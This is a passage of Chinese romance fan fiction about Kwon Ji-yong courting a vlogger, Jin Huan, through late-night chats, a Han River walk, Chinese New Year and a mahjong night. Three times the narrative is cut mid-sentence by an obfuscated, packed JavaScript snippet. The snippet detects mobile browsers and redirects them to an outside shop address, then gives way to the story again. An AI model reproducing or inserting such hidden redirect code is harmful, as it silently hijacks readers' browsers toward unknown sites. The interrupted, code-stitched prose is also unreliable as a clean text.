权至龙把手机放在调音台旁边,屏幕朝上,金欢的头像亮着。他重新戴上耳机,屏幕上的音轨还在滚动,他的目光却隔几秒就飘向手机。没有新消息,他继续编曲,没有新消息,还是没有。 凌晨三点,他发了一条消息:“写到哪儿了?” 金欢:“还有最后一段。你呢?” “副歌。” “什么歌?” “还没名字。” “写完给我听听。” 凌晨四点,金欢发来消息:“我写完了。睡了。” 权至龙:“晚安。” 金欢:“你也睡。别熬了。” 权至龙:“好。” 他放下手机,把耳机摘下来。工作室里很安静,只有电脑的嗡鸣声。他靠在椅背上,闭上眼睛。 第二天下午,李朱赫来工作室拿东西,顺道看看权至龙。权至龙坐在调音台前,眼下挂着两个明显的黑眼圈,但精神好得不像话,嘴角翘着,手指在键盘上轻快地敲来敲去。 李朱赫看了他一眼。“昨晚几点睡的?” “四点。” “你昨天不是没行程吗?” 权至龙的手指没停,“陪人写作业。” “陪人写作业?你在工作室,她在写作业,你们隔着一个屏幕各干各的,这叫陪?” 权至龙终于转过头来,“她三点给我发消息说写到哪儿了,我回了。四点她说写完了,我回晚安。这叫陪。” “她让你睡你就睡?” “嗯。” “她让你别熬你就不熬?” “嗯。” “她让你往东你往东,她让你早睡你早睡。你以前不是最讨厌别人管你吗?” 权至龙想了想。“她不是管我。她是担心我。” “有区别吗?恋爱脑。” “有。管我是觉得我做得不对,担心我是怕我过得不好。她说‘你猝死了谁吃我做的排骨’。翻译过来就是‘你要好好的,我还想给你做很多很多顿排骨’。” 李朱赫看着他,忽然觉得牙酸。“你什么时候学会的阅读理解?金欢说一句‘滚’,你能翻译出三层意思。” “不止三层。”权至龙说,语气里带着一丝得意,“她的‘滚’,要看语境。配翻白眼表情包是害羞,单独一个字是嘴硬,后面跟着‘你才不是’是——” “行了行了。”李朱赫拿起东西往门口走,“我不想听你解构金欢的语言体系。” 走廊里,李朱赫掏出手机,给金欢发了一条消息:“你昨晚是不是跟权至龙聊天聊到凌晨四点?” 金欢:“你怎么知道?” 李朱赫:“他今天见谁跟谁嘚瑟。已经跟我嘚瑟过了。现在全YG都知道你昨晚赶作业,他陪到四点。” 金欢发了一长串省略号。 权至龙来蹭饭的频率,已经从一周两三次变成了一周四五次。 金欢已经不问他今天又来了。反正问了他也会说路过、刚好在附近、初一想我了。她懒得拆穿——初一那只猫,除了吃的,对谁都不会想,但初一叛变了。 权至龙坐在沙发上,正在帮金欢拆新买的猫粮包装。 “喵。” 初一轻轻叫了一声,然后跳上了他的腿。 权至龙拆包装的手停住了。金欢正从厨房端菜出来,看到这一幕,盘子差点没端稳。初一窝在权至龙腿上,蜷成一团,尾巴优雅地圈住爪子,发出了满足的呼噜声。 “初一。”金欢的声音拔高了半度,“你什么时候跟他这么熟了?” 初一没有理她。它眯着眼睛,享受着权至龙的挠下巴服务。权至龙的手指修长,力道不轻不重。 “它知道谁对它好。”权至龙低头看着初一,嘴角弯着。 金欢把盘子放在桌上,“我对它最好。” “那你对我好吗?” 金欢的动作顿了一下。她转过身,假装没听到,快步走回厨房。身后传来权至龙低低的笑声,很轻,但厨房太小了,她听得一清二楚。 她站在灶台前,背对着客厅,脸红红的,不知道是厨房热的,还是害羞的。锅里还有最后一道菜,她拿着锅铲翻了翻,翻了好几下才想起这道菜不需要翻。 初一那只叛徒还在外面呼噜呼噜地叫,权至龙还在笑。她深吸一口气,端着菜走出去,脸上已经恢复了平时那副我什么都没听到的表情。 “吃饭。” 权至龙把初一从腿上轻轻挪开,走到餐桌边坐下。初一被挪了也不生气,跳上旁边的椅子,继续盯着权至龙看。 金欢夹了一块排骨,语气闷闷的,“我养了它一年多,它才对我这么亲,你才来几次,它就跳你腿上了。” 权至龙把排骨夹到她碗里。“因为它知道,我对你好。” 金欢的筷子停在半空中。 “猫很聪明的。”权至龙给自己也夹了一块,“它知道谁对它妈妈好。它亲近我,是因为我亲近你。” 金欢低下头,把排骨塞进嘴里。嚼了好几下才尝出味道。初一在旁边的椅子上舔着爪子,琥珀色的眼睛看看她,又看看权至龙,尾巴尖轻轻晃了晃。 吃完饭,权至龙洗碗的时候,初一又跳上了灶台,蹲在旁边看着他。水声哗哗的,他低着头,认真地擦着每一个碗。初一凑过去,舔了舔他的手指。 金欢站在厨房门口,看着这一幕。 “金欢。”他忽然开口。 “嗯?” “初一舔我了。它以前舔过谁?” 金欢想了想。“只舔过我。还有我妈。” “那我排第三。” “嗯。” “前面只有你和你妈妈。” 金欢没有说话。权至龙转回去,继续洗碗。初一的尾巴尖在他的手臂上扫来扫去。 吃完饭,权至龙提议去汉江边散步消食。 权至龙走在靠马路的那一侧,步速配合着她的节奏,两个人都没有说话。 风吹过来的时候,金欢缩了缩脖子。 她今天只穿了一件薄衣服,出门的时候忘了拿外套。权至龙直接把大衣脱下来,披在她肩上。 黑色大衣还带着他的体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484938|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温,从肩膀一直裹到膝盖。金欢被那股温暖裹住的瞬间,整个人僵了一下。 “别给我。”她伸手去扯,“你不冷吗?” 权至龙按住她的手。他的手覆在她手背上,停留了不到一秒就移开了,但力道很确定——不许脱。 “不冷。” “你里面就一件毛衣。” “我乐意。” 金欢看着他。大衣给了她,他身上只剩一件毛衣了。 金欢低下头,把大衣拢紧了。他的大衣上有他的味道——淡淡的,干净的,她把下巴埋进领口里。 两个人继续往前走,肩膀偶尔碰到,谁也没有躲开。 左边,右边。隔着大衣,隔着两个人的体温。碰上的时候,权至龙的脚步会慢半拍。分开的时候,金欢的步幅会小一点。他们都没有看对方,但他们的身体比他们的眼睛更诚实。 江边的路灯一盏一盏地亮着,把他们的影子拉得很长,投在人行道上。黑色大衣的下摆在她身后轻轻飘动,他的影子走在她左边,微微偏着,像一堵会移动的墙。 身后传来一个女生的声音,压低了,但顺风飘过来,刚好够他们听见。 “你看前面那对,好甜啊。” “男生把外套给女生了,这种天气,自己不冷吗?” “所以才甜啊。你看他们的影子,他走在外面,她走在里面。” “是情侣吧?氛围太好了。” 然后是手机拍照的声音,咔嚓。 “她们说我们是情侣。”权至龙把手插回口袋,继续往前走,语气随意得像在陈述天气,“没认出我们,应该不会上传到网上。” 金欢跟上他的步伐,“万一认出来了呢?” 权至龙停下来了,金欢也跟着停下来,站在他旁边。江风从两个人之间穿过,把他的刘海吹起来,把她披着的大衣下摆吹得轻轻飘动。 “金欢,我不怕被拍到。我怕你冷。” 金欢低下头,把大衣拢得更紧了。大衣领口贴着她的下巴,带着他的温度,带着他的气息。 “走了。”她说,声音闷在衣领里,“前面还有好长一段。” 权至龙跟上来。 两个人继续沿着汉江走。肩膀偶尔碰到,谁也没有躲开。金欢的手从大衣袖口里伸出来,垂在身侧。权至龙的手也垂在身侧。两只手之间的距离,刚好够一阵风穿过。 她没有牵他。他没有牵她。但他们的影子在地上牵在一起,十指交扣。路灯把那个交叠的影子拉得很长很长,一直延伸到江面上,融进碎金般的水光里。 走完一圈回到原点的时候,金欢停下来,把大衣脱下来递给他。 “穿上。” 权至龙接过来,披上。大衣上沾了她的温度,还有她洗发水的味道。他把领口拢了拢,那股味道就贴在他的脖颈上。 “我送你回去。” “不用,就几步路。” “我看着你走。” 金欢走到楼道口的时候,手机响了。 权至龙:“那件大衣,以后就是你的了。” 金欢:“我不要。” 权至龙:“它沾了你的味道。我不要了。” 金欢盯着这行字,耳朵又开始烧了,“那你穿什么?” 权至龙:“再买一件。然后那件也会变成你的。” 金欢:“你有病。” 权至龙发了一个小鸡裹着毯子的表情包。 金欢想起他刚才站在江风里、只穿一件薄毛衣的样子,“到家了泡个热水澡。别感冒了。感冒了谁吃我做的排骨。” 权至龙:“好。” 25. 新年快乐 金欢回国那天,权至龙送的她。 车停下,他把行李箱从后备箱拎出来。金欢伸手去接,他没松手。 “就回去三个礼拜。”金欢说。 “三个礼拜很久。”他把拉杆交到她手里。 她拖着行李箱往安检口走,他在原地站着。走了几步,她回头。他抬起手挥了挥,嘴角弯着。金欢转回去,没有再看。但走到安检口的时候,她还是回头了,冲他摆了摆手,用口型说了三个字——回去吧。 金欢落地北京的时候是下午四点,飞机还在滑行,她就已经把手机打开,给林夕发了条消息:“到了。老地方,你来点菜。” 林夕:“已经在店里了。锅底都开了。” 金欢拖着行李箱直接从机场杀到南门涮肉。林夕坐在靠窗的位置,面前是一口沸腾的铜锅,旁边的架子上摆满了盘子,层层叠叠,像一座小山。 金欢把行李箱往旁边一推,坐下来,先喝了一口酸梅汤,然后拿起筷子,开吃。 “我在首尔就想念这一口。” 林夕笑着又给她下了一片。金欢吃得额头冒汗,筷子就没停过。吃到一半,金欢终于放慢了速度。她从随身的大包里掏出一个牛皮纸信封,递给林夕。“给你的。” 林夕接过来,打开——权至龙的签名。to签。写着“To 全世界最美丽的林夕”,旁边还有一个笑脸,一个星星,一个爱心。下面压着一沓东西:专辑、海报、小卡、周边,整整齐齐。 林夕盯着那行字看了很久,然后抬起头。“你让他写的?” “他自己写的。” “你告诉他林夕是谁了?” “我说是我最好的朋友。追了他十年。”金欢夹了一片土豆,“他说那要写得好一点。然后写了‘全世界最美丽的’。” 林夕把签名抱在怀里,沉默了片刻,然后小心翼翼地把信封放进包里,拉好拉链,抬起头,看着金欢。 “你跟他,现在怎么样了?” 金欢的筷子顿了一下。她把羊肉放进嘴里,嚼了很久才咽下去。“就那样。” “什么叫就那样?” “他还在追。”她说,声音不大,“我还没答应。” “为什么?” 金欢把筷子放下,靠在椅背上。“林夕,你知道吗,他大衣给我穿,自己只穿一件毛衣在风里站着。我说你冷,他说他乐意。初一以前除了我和我妈谁都不亲,现在他一来就往他腿上跳。” 林夕看着金欢。金欢低着头,手指在桌布上画着看不见的圈。 “欢欢,你已经喜欢上他了。不是好感,不是有一点喜欢。是很喜欢。你怕的不是他不够好,是你自己已经陷得太深了。” 锅底还在咕嘟咕嘟地响。金欢盯着那片沸腾的汤,很久很久没有说话。 “吃你的肉吧。凉了就不好吃了。” 林夕没有追问。她夹起肉,蘸了碟,放进嘴里,“那你打算什么时候答应他?” 金欢的耳朵尖红了。“再看看吧。” “看什么?” “看他能等多久。” 林夕看着她通红的耳朵,笑了,“金欢,你明明已经决定了,就是嘴硬。” 金欢没有承认,也没有否认。 三亚的冬天是另一副面孔。 金欢穿着一件红色连体泳衣,肩带细细的,露出锁骨和肩胛骨的线条。头发湿漉漉地披在肩上,是刚游完泳的样子。 金欢不喜欢拍照,但金妈妈喜欢。金妈妈拿着手机,指挥她站过去一点、转过来、笑一个,拍了不下二十张。金欢被摆弄得生无可恋。 金妈妈挑了三张最好看的,发到了家庭群里。金欢把其中一张发到了ins上,配文是“三亚的阳光比首尔大方多了”。照片里她站在沙滩上,背后是蓝得不像话的海,阳光落在她肩膀上,衬得整个人明艳动人、又纯又欲。 金欢躺在遮阳伞下翻评论,翻着翻着,私信栏多了一个红点。她点开。 5211018:“你穿泳衣很好看。” 金欢猛地坐起来,盯着那个ID——名字是一串数字,“你偷看我照片?” “你发的每一张我都看。” 金欢:“哦,那你怎么不点赞。” 5211018秒回,是一张截图——她三亚照片的点赞页面,那个没有头像的小号,排在第一个。 金欢盯着那张截图,嘴角翘了起来。、,她没有再回,但也没有把手机放下。 金欢出了一期三亚旅行攻略。 视频里她一身精致打扮,带着观众从机场开始,怎么打车最划算,住哪个区域最方便,哪家清补凉最好吃,哪片沙滩人最少。她站在海鲜市场里跟摊主讨价还价,坐在路边摊吃抱罗粉吃得满头大汗,在酒店阳台上对着大海剪视频。 结尾的时候,她站在沙滩上,夕阳把她的轮廓镀成金色。“旅行不一定要去很远的地方,也不一定要花很多钱。重要的是你跟谁在一起,看到了什么样的日落。” 然后她笑了,眼睛弯成月牙形,“当然,一个人也很好。我这次就是一个人——哦不对,跟我妈。” 视频发出后,播放量一路飙升。弹幕和评论区热闹得像过年,有人记攻略,有人夸金欢状态好,有人注意到金妈妈出镜的片段说阿姨好可爱,还有人感慨“结尾那句话把我说哭了,一个人也很好”。 赶大集是金家的传统。 腊月二十八,金欢被金妈妈从被窝里拎出来。“都几点了!你姥爷等着呢!”金欢裹着羽绒服,头发随便扎了个马尾,被金妈妈塞进车里。姥爷坐在副驾驶,穿着那件穿了十几年的棉袄,精神矍铄。姥姥坐在后排,手里拎着一个布袋子,里面装着零钱和购物清单。 集市在老城区,一条街从这头摆到那头。红彤彤的对联、福字、灯笼挂了一整面墙。瓜子花生糖果堆成小山,摊主拿着铲子吆喝先尝后买。糖葫芦、炸年糕、烤红薯的香气混在一起,被风吹得满街都是。 姥爷走在最前面,姥姥在后面付钱,金欢扛着相机跟在最后。 她拍姥爷挑肉的背影,拍姥姥从布袋子里掏零钱的手,拍摊主剁排骨时溅起的冰碴。拍糖葫芦在阳光下亮晶晶的糖壳,拍炒栗子的锅里翻腾的黑砂,拍写春联的老先生握笔时手。 回家的路上,金欢坐在后座,翻看相机里的素材。集市上的每一样东西都是红的——红的对联,红的灯笼,红的糖葫芦,红的辣椒串。人们在红色的背景里讨价还价、挑挑拣拣、说说笑笑,哈出的白气混在一起,升腾成一片暖融融的烟火。 金欢把素材剪成了一支视频。没有脚本,没有解说,只有画面和现场音。集市上的吆喝声,炒栗子的沙沙声,剁排骨的咚咚声,姥姥和摊主讨价还价的对话。 结尾的画面是集市的全景,镜头从街这头摇到那头,红的对联,红的灯笼,红的糖葫芦,红的人间烟火。配文只有一行字:“这就是烟火气的中国。” 视频发出后,评论区无数评论,有人说拍出了纪录片的质感,有人说这才是真正的中国味道。然后,人民日报转发了,配文“集市里的烟火气,是中国人最朴素的乡愁。” 金欢的粉丝已经不知道该说什么了。人民日报转发,直接出圈,播放量破千万。金欢的账号涨粉速度像坐了火箭,品牌方的合作邀约塞满了私信箱。 金欢看着后台数据,骄傲地给权至龙发了条消息:“我被人民日报转了。下次要去新闻联播了吧。”家人逢人就炫耀金欢,直接把金欢搞地害羞了。 权至龙:“那个糖葫芦,我想吃。” 金欢点开他发来的截图——是她视频里的一段,山楂裹着亮晶晶的糖壳,在冬天的阳光下像一串串红玛瑙。 “你又吃不到。” 权至龙发了一个委屈的表情包。金欢看着那只耷拉着耳朵的小狗,笑了。她打了几个字:“等你下次来北京,我带你去吃。我们家那边有个大爷,糖葫芦做了四十年,特别好吃。” 权至龙发了一个原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484939|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地转圈圈表情包。 除夕夜。 金欢家的客厅被红色淹没了。窗花、对联、福字,沙发套都换成了红的。电视里放着春晚,声音开得不大,成了背景音。厨房里却热闹得像另一个世界。 年夜饭是姥爷掌的勺,十六道菜,从早上开始准备,到傍晚才全部上桌,铺满了整张圆桌。 金欢举着手机,站在椅子上拍全景。镜头从清蒸鲈鱼的葱丝摇到红烧肘子的酱色,从四喜丸子的饱满拍到花馍上捏出的牡丹花瓣。姥爷在旁边催:“拍好了没有?菜要凉了!”她连按几下快门,跳下来,把照片发到了ins上,配文:“年夜饭,姥爷做了整整一天。祝大家除夕快乐,年年有余。” 评论区瞬间热闹起来。 金希彻:“金欢,你家伙食也太好了吧!那个肘子能不能给我寄一个?” CL:“想蹭饭。” 允儿发了一串眼冒爱心的表情包。 李朱赫:“回首尔给我做一顿。” 回完一圈,金欢又发了一条:“别羡慕了。往后几天要天天吃剩菜了。十六道菜,未来三天的早中晚饭已经全部安排好了——剩菜炒饭、剩菜热一热、剩菜再热一热。” 金希彻:“那你别吃了,都给我。”金欢回了一个白眼表情包。 年夜饭从六点吃到八点,吃完年夜饭,桌上的盘子撤下去,新的食材端上来。面粉、肉馅、白菜、葱姜,还有一小碗泡着八角和花椒的水。姥爷开始和面,金妈妈剁白菜,姥爷调馅,金爸爸擀皮。爷爷、奶奶和金欢负责包饺子。 这是守岁的饺子,要等到零点下锅。包好的饺子整整齐齐码在盖帘上,蒙上湿布,等着新年的钟声。一家人窝在沙发上看春晚。 零点的时候,金欢的手机震了。 权至龙发来视频通话。金欢走到阳台上。夜空中已经有烟花在远处炸开。 视频里,权至龙穿着灰色卫衣,坐在家里的沙发上,身后是一面白色的墙。 他对着镜头笑了一下,然后清了清嗓子。 “新年快乐。” 他用中文说的。声调不算标准,但每一个字都说得很认真。 “这是陪你过的第一个年。”他停了一下,耳根以肉眼可见的速度红了,“以后也会陪你过。” 客厅里的电视机传来主持人的声音。三、二、一——新年的钟声响了,远处的烟花同时炸开,金红银白,铺满了整片夜空。 权至龙发来一个红包,上面写着压岁钱。她点开,金额是521,说:“我不在你身边,只能这样给了。521——我不知道韩元换算成人民币是多少,但我想让你知道这个数字的意思。” 金欢的手指在屏幕上方悬了很久。夜风把她的碎发吹起来,远处的烟花映在她的侧脸上,红了又暗,暗了又红。 “收到了。” “新年快乐,权至龙。” “新年快乐,金欢。明年我也要第一个跟你说新年快乐。后年也是,大后年也是,往后也是。” 金欢看着屏幕上的权至龙,笑了,眼睛想要尿尿。 “知道了。你快去睡。首尔比北京快一个小时,你那边已经一点了。” 权至龙秒回:“好。你也早点睡。替我吃一个饺子。” 她回:“好。替你吃两个。” 权至龙发了一个小猫裹着被子睡觉的表情包。 金欢把手机放进口袋,回到厨房。姥爷正在把饺子下锅,白胖的饺子在沸水里翻滚。她走过去,从背后抱住姥爷的腰。 “怎么了欢欢?” “没什么。就是想吃饺子了。” 姥爷笑着用漏勺捞起一个,吹了吹,递到她嘴边。“尝尝。白菜猪肉的。” 她拿起手机,拍了张咬了一口的饺子照片,发过去。 “替你吃了。好吃。” 权至龙秒回了一个大哭的表情包,然后说:“明年我要自己来吃。” 金欢看着窗外满天的烟花,“好。” 26. 麻将(1) 过完年回来,金欢的行李从一个变成了两个,还提前寄了两大箱。 权至龙来接机,看到两个二十八寸的箱子加一个鼓得快爆炸的背包,“你是把北京搬来了吗?” “差不多。”金欢把推车往他手里一塞,“我说装不下了,我妈说那就再买一个箱子。我说又装满了,我妈就说再寄一箱。然后就变成了这样。” “……你家真不是开超市的?” “我妈开连锁超市,我有没有跟你说过?” 权至龙闭嘴了。 到家之后,金欢蹲在地板上开始分赃。权至龙全程蹲在旁边,把每一样东西接过来,端端正正地放在茶几上。金欢往外拿,他往茶几上摆,配合默契得像排练过。 没过几天,朋友们在各种综艺里开始花式提金欢。 金希彻在认哥里,从包里掏出一袋中式糕点,枣泥酥,酥皮层层叠叠,咬一口掉渣的那种。他掰了一半递给姜虎东,姜虎东吃了一口,眼睛瞪大了:“这个哪里买的?” 金希彻得意地挺了挺胸:“金欢从中国带回来的,老师傅做的,北京老字号,排队要排两个小时。”姜虎东又咬了一口:“金欢是谁?” 金希彻说一个中国朋友,做饭超厉害,性格超有意思,“她养了两只宠物,一只猫一只狗,猫叫初一,狗叫五一。初一比我还高冷。” 姜虎东问比你还高冷是什么意思,金希彻说就是它从来不让我抱,但它让志龙抱。姜虎东愣了一下:“GD?”金希彻点头。姜虎东的表情变得意味深长,弹幕瞬间被“???”刷屏了。 少时的允和队长在ins上发了穿着新中式小裙子的合照,写着“世界上独一无二”。 回韩国后的第一个周末,金欢在家组了火锅局。锅底一沸,整栋楼都能闻到香味,邻居探头看了好几次。金希彻被辣得满头是汗,嘴巴红得像涂了口红,一边吸气一边往嘴里塞肉:“金欢你这个锅底——哈——是不是放了一整袋花椒——” 金希彻灌了半杯冰水,继续夹肉。李朱赫默默地吃着,额头沁出一层薄汗,但表情纹丝不动,吃辣能力深不可测。 权至龙坐在金欢旁边,筷子不停,但每隔一会儿就会给她倒茶、递纸巾,动作自然,完全不需要经过大脑。 吃着吃着,李朱赫放下筷子:“金欢,你跟志龙,是什么关系?” 桌上安静了一瞬,金希彻夹毛肚的手悬在半空中,毛肚从筷子间滑回锅里,在红汤中翻滚着,无人问津。CL因为行程没来,但她不在反而让这场面更微妙了——在场的三个人,一个是红娘,一个是吃瓜群众,一个是绯闻男友。 金欢夹了一片牛肉,在油碟里滚了滚,放进嘴里,嚼完了才开口:“朋友。” 她说完这两个字,目光不经意地扫过坐在旁边的权至龙,他正低头调蘸料,然后开口了,“很好的朋友。” 金欢在桌下踢了他一脚。权至龙早有防备,腿往旁边一偏,她的脚尖只蹭到他的裤脚。他嘴角弯了一下,继续调他的蘸料。 金希彻终于把毛肚捞回来了,已经烫老了。“很好的朋友?多好?” “很好的意思就是很好。”权至龙把调好的蘸料碗放到金欢面前,把她那碗已经吃见底的换到自己这边,“你中文不好,理解不了。” “我中文比你好!” “那你说‘很好的朋友’和‘朋友’有什么区别。” 金希彻张了张嘴,又闭上了。区别谁不知道,朋友是朋友,很好的朋友是——不能说,说出来就不好玩了。 吃完饭,四个人瘫在沙发上消食。金希彻摸着肚子:“吃太饱了。金欢,你以后能不能少做点,每次来你家我都胖一斤。”金欢说你可以不来。 金希彻“我就来,我偏来,略略略......” 初一从冰箱顶上跳下来,踩着金希彻的腿跳过去,然后落到权至龙腿上,蜷成一团,尾巴优雅地圈住爪子。权至龙低头摸了摸它的背,初一发出满足的呼噜声,尾巴尖绕上了他的手腕。 金希彻低头看着自己腿上被踩过的位置,又看看权至龙腿上安安静静的初一:“金欢。你家猫是不是对我有意见。” “它对谁都有意见。” “它对他就没有!”金希彻指着权至龙。 权至龙低头看了看怀里的初一,又抬起头,表情无辜:“它可能……比较喜欢我。” “你少得意。” “我没有得意。” “你嘴角都快咧到耳根了。” 金欢从厨房端了盘水果出来,看到初一窝在权至龙腿上,脚步顿了一下。她把水果放在茶几上,坐下来,初一看了她一眼,继续在权至龙腿上呼噜,完全没有要挪窝的意思。 金欢看着那只叛徒猫,伸手想抱它,初一往权至龙怀里缩了缩。权至龙低头看了看初一,又抬头看了看金欢,嘴角弯了一下:“它知道谁对它好。” “我对它最好。” “那你对我好吗?” 金欢的手停在半空中,金希彻咬苹果的声音突然变得很响。李朱赫端起茶杯,发现杯子是空的,但他没有去续,只是端着空杯子,看着这两个人。 金欢收回手。“我对你够好了。分给你那么多吃的,你还想怎样。” 权至龙低头摸了摸初一的背。“我没说不够。我就是问问。” 金欢忽然站起来,走进卧室,搬出来一个墨绿色的盒子,往茶几上一放。 “咱们打麻将吧。正好我从家里背来了一副。” 金希彻凑过去打开盒子,里面整整齐齐码着一百多张牌,万、筒、条、字牌,还有骰子和筹码。 金欢把牌倒出来,哗啦啦铺了半张茶几,开始讲规则。三个人听着,表情从好奇变成困惑。金欢讲完之后,金希彻举手:“所以我要把手里的牌凑成四个三张加一对?” “对。” “三张可以是三个一样的,也可以是顺子?” “对。” “然后胡了就是赢了?” “对。” “那我现在就胡了。”金希彻把手里的牌推倒——十三张牌,有四张一样的,有五张一样的,还有一张孤零零的东风。金欢低头看了看,又抬头看了看他:“你这叫诈胡。不,你这叫还没打就炸了。” 金希彻把牌收回去:“那你再说一遍。” 教学局开始。金欢一个人对三个新手,本以为轻松碾压,结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484940|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一把金希彻就胡了。虽然是最小的平胡,赢了一颗花生米,但他把牌推倒的时候整个人从沙发上弹起来:“我赢了!我第一次玩就赢了!” 金欢看了看他的牌,又看了看自己手里就差一张的清一色:“新手期保护。再来。” 李朱赫第二把胡了。不声不响地摸牌打牌,然后不声不响地把牌推倒。金欢看着他那手普普通通的屁胡,连个对子都没有,全是顺子,最小的那种:“洙赫欧巴,你这个牌,就值一根辣条。” 李朱赫面无表情:“赢了就是赢了。辣条呢?” “……下次带。” 权至龙第三把胡了。摸到最后一张牌的时候,嘴角弯了一下,把牌推倒。金欢凑过去看——七小对。她抬头看着权至龙,权至龙靠在椅背上,翘起二郎腿,表情写满了三个字:我厉害。 金欢深吸一口气。她的胜负欲上来了。从小在麻将桌边长大,玩了这么多年,还赢不了仨新手吗...... 第四把开始,她收起了教学心态,牌局变得沉默,只有搓牌的沙沙声和打牌的轻响。 金欢连胡三把——一把清一色,胡牌的时候把牌推倒,一个字没说,但那气势比说什么都管用;一把碰碰胡;一把自摸。 金希彻好不容易凑了一把大牌,单吊幺鸡。等了五轮没摸到,急得开始抖腿,沙发都跟着震。第八轮的时候,李朱赫打出一张牌,金希彻眼睛亮了——“胡!”他把牌推倒,整个人跳起来,然后在看到李朱赫推倒的牌之后僵住了。李朱赫也胡了。同一张牌,金希彻单吊幺鸡,李朱赫平胡。按顺序,李朱赫是金希彻的下家,胡牌优先。 金希彻看着自己手里那张孤零零的幺鸡,又看看李朱赫那手普普通通的平胡,表情像吞了苍蝇一样难受。 “你为什么不打别的!”李朱赫面无表情:“因为这张最安全。”金希彻把牌往桌上一拍:“再来!我就不信了!” 金欢提议定个彩头。四个人商量了一下——输的次数最多的那个人,在社媒上爆一个自己的料——必须是粉丝不知道的、说出来会让人“哇”的那种。金希彻补充说点赞过十万才算过关。 牌局继续,气氛彻底变了。 金希彻还是做大牌,清一色、七小对、十三幺,什么大做什么,做成就翻盘,做不成就死。做十三幺的时候缺一张东风,摸到最后一张牌的时候手都在抖,翻开——西风。他整个人瘫在沙发上,像被抽走了骨头。李朱赫极其稳定,不在乎大胡小胡,只要胡了就行,屁胡也是胡,积少成多。金希彻说他“你这种人打麻将最没意思”,李朱赫回他“赢就有意思”。 金欢凭着经验在三个人之间周旋,该弃就弃,该冲就冲。但新手运气这个东西,科学解释不了。她连续三把被金希彻的大牌截胡,每次都是她听牌在先,金希彻胡牌在后。第三把的时候,她把牌一推:“金希彻你是不是偷看我牌。”金希彻说我连自己的牌都看不过来还看你的。 权至龙的胜负欲也上来了,但是连续四把听牌没胡成——第一把听三六条,被金希彻截了;第二把听四七筒,被李朱赫截了;第三把听五八万,被金欢自摸了;第四把终于没人截,但他摸了十轮,愣是一张都没摸到,最后流局了。